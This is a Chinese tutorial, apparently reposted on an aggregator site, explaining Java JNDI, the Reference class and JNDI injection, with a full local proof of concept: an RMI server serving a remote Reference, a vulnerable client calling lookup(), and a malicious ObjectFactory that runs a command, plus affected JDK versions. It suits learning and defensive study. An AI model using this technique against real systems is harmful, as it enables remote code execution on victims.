【java安全】JNDI注入概述

这篇具有很好参考价值的文章主要介绍了【java安全】JNDI注入概述。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

【java安全】JNDI注入概述

什么是JNDI?

JNDI(Java Naming and Directory Interface)Java提供的Java命名和目录接口。通过调用JNDIAPI可以定位资源和其他程序对象。

命名服务将名称和对象联系起来,使得我们可以用名称访问对象

JDNI的结构

jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等

其实就可以理解为下面这些服务的一个客户端:

【java安全】JNDI注入概述,java,java,web安全,JNDI

有这么几个关键元素

  • Name,要在命名系统中查找对象,请为其提供对象的名称
  • Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
  • Context,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
  • References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针

这些命名/目录服务提供者:

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 ContextBindingsReferences、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
InitialContext - 上下文

构造方法:

//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

常用方法:

//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)  

示例:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
      	// 构建初始上下文
        InitialContext initialContext = new InitialContext();
      	// 查询命名对象
        String uri = "rmi://127.0.0.1:1099/work";
        initialContext.lookup(uri);
    }
}
Reference - 引用

Reference类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取RMI服务器上的对象为Reference类或者其子类时,则可以从其他服务器上加载class字节码文件来实例化。

构造方法:

//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr) 
//将地址添加到地址列表的末尾。 
void add(RefAddr addr) 
//从此引用中删除所有地址。  
void clear() 
//检索索引posn上的地址。 
RefAddr get(int posn) 
//检索地址类型为“addrType”的第一个地址。  
RefAddr get(String addrType) 
//检索本参考文献中地址的列举。 
Enumeration<RefAddr> getAll() 
//检索引用引用的对象的类名。 
String getClassName() 
//检索此引用引用的对象的工厂位置。  
String getFactoryClassLocation() 
//检索此引用引用对象的工厂的类名。  
String getFactoryClassName() 
//从地址列表中删除索引posn上的地址。    
Object remove(int posn) 
//检索此引用中的地址数。 
int size() 
//生成此引用的字符串表示形式。
String toString() 

示例:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);
    }
}

这里创建完Reference后又调用了ReferenceWrapper将其传进去了,为什么这么做呢?

因为我们前面学习RMI的时候,将类注册到Registry使用的类必须继承UnicastRemoteObject类以及实现Remote接口

但是我们这里Reference没有满足,所以需要使用ReferenceWrapper将其封装一下

public class Reference implements Cloneable, java.io.Serializable
...
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference 

JNDI注入

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

JNDI注入的过程如下:

  • 客户端程序调用了InitialContext.lookup(url)并且url可以被输入控制,指向精心构造好的RMI服务地址
  • 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
  • 当客户端执行lookup时,客户端会获取相应的object factory,通过factory.getObjectInstance()获取外部远程对象的实例
  • 攻击者在Factory类文件的构造方法,静态代码块,getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果
  • 既然要用到Factory,那么恶意类需要实现ObjectFactory接口

具体攻击流程图:

【java安全】JNDI注入概述,java,java,web安全,JNDI

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u211以下 7u201以下 8u191以下 11.0.1以下
RMI 6u132以下 7u122以下 8u113以下
JNDI & RMI
利用版本:

JDK 6u1327u1228u113之前可以

JNDI注入使用Reference

首先搭建一个服务端:RMIServer

服务端的创建,按步骤来

  • 首先是注册中心
  • 然后是恶意类所在地址
  • 接着是创建Reference对象引用,绑定恶意类的地址
  • 绑定Name
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:1098/";
        Reference reference = new Reference("EvilClass", "EvilClass", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("class",referenceWrapper);
    }
}

然后搭建一个客户端RMIClient(客户端也是受害端):

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        String url = "rmi://127.0.0.1:1099/class";
        context.lookup(url);
    }
}

然后需要创建一个恶意类:

实现ObjectFactory接口,把恶意代码写在getObjectInstance里面

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    static {
        System.out.println("hello,static~");
    }
    public EvilClass() throws IOException {
        System.out.println("constructor~");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("calc");
        System.out.println("hello,getObjectInstance~");
        return null;
    }
}

搭建好了以后我们首先运行服务端:(注意jdk版本)

【java安全】JNDI注入概述,java,java,web安全,JNDI

然后我们将EvilClass编译一下,使用python开启一个http服务:

【java安全】JNDI注入概述,java,java,web安全,JNDI

接着我们运行客户端RMIClient:

【java安全】JNDI注入概述,java,java,web安全,JNDI

我们发现已经成功执行代码了,并且是在客户端执行的

可以参考这张思维导图:

【java安全】JNDI注入概述,java,java,web安全,JNDI文章来源地址https://www.toymoban.com/news/detail-670214.html

到了这里,关于【java安全】JNDI注入概述的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 037-安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

    1、JavaEE-JNDI注入-RMILDAP 2、JavaEE-漏洞结合-FastJson链 3、JavaEE-漏洞条件-JDK版本绕过 演示案例: ➢JNDI注入-RMILDAP服务 ➢JNDI注入-FastJson漏洞结合 ➢JNDI注入-JDK高版本注入绕过 思考明白: 什么是jndi注入 为什么有jndi注入 JDNI注入安全问题 JDNI注入利用条件 参考:https://blog.csdn.net/

    2024年04月10日
    浏览(32)
  • 036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

    1、JavaEE-组件安全-Log4j 2、JavaEE-组件安全-Fastjson 3、JavaEE-基本了解-JNDI-API 演示案例: ➢Java-三方组件-Log4JJNDI ➢Java-三方组件-FastJson反射 Jar仓库: https://mvnrepository.com/ Maven配置: https://www.jb51.net/article/259780.htm JNDI相关概念: 1、JNDI是一个接口,在这个接口下会有多种目录系统

    2024年02月21日
    浏览(39)
  • 第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce

    感谢N1CTF提供的题目 声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护 这道题对于我来说涉猎的广度大难度大,对于佬来说就洒洒水,所以这个wp可能会绕圈子或者复杂化,也可以去看前几名的题解,都非常不错!

    2024年02月20日
    浏览(33)
  • Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入

    目录 JavaSec搭建 Hello-Java-Sec搭建 Java安全-SQL注入-JDBCMyBatis JDBC:Java语言连接数据库操作 MyBatis( mybatis是一个优秀的基于java的持久层框架,它内部封装了 jdbc) 代码审计案例:inxedu后台MyBatis注入 Java安全-XXE注入-ReaderBuilder 配置XML允许引入外部解析实体 白盒测试-XXE Java安全-SSTI模版

    2024年04月25日
    浏览(32)
  • JNDI注入分析

    JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中,例如RMI、CORBA、LDAP、DNS等。其中Naming Service类似于

    2024年03月27日
    浏览(30)
  • log4j JNDI注入漏洞

    目录 log4j JNDI注入漏洞 一、LDAP介绍 二、JDBC介绍 三、JNDI介绍 四、JNDI命名引用 五、log4j JNDI注入漏洞 ​LDAP是一种协议,LDAP 的全称是 Lightweight Directory Access Protocol,轻量目录访问协议。 ​JDBC是一种规范,JDBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句

    2024年02月01日
    浏览(33)
  • Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)

    2.3.0 = Apache Kafka = 3.3.2 我是通过vulhub下载的环境,下载后直接启动即可。 打开页面,漏洞点在Load data功能页中。 在Load data功能页中的Streaming功能中。 在该功能中,将payload填写到Consumer properties属性值中即可。 在payload提交前,请先在vps机器中开启ldap服务。 使用低版本的jdk中

    2024年02月16日
    浏览(28)
  • CVE-2023-25194漏洞 Apache Kafka Connect JNDI注入漏洞

    Apache Kafka 的最新更新解决的一个漏洞是一个不安全的 Java 反序列化问题,可以利用该漏洞通过身份验证远程执行代码。 Apache Kafka 是一个开源分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。超过 80% 的财富 100 强公司信任并使

    2024年02月12日
    浏览(25)
  • Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

    Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。 l

    2024年02月07日
    浏览(32)
  • Web安全系列——注入攻击

    文章首发公众号: 海天二路搬砖工 在Web应用程序开发中,防SQL注入最基本的安全防护要求了。其实除了SQL注入, 还有很多其他的注入攻击方式。注入攻击是最常见的Web应用攻击方式之一。 本文将介绍注入攻击的概念、种类、原理,以及如何防护。 注入攻击是指攻击者在应

    2024年02月06日
    浏览(26)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包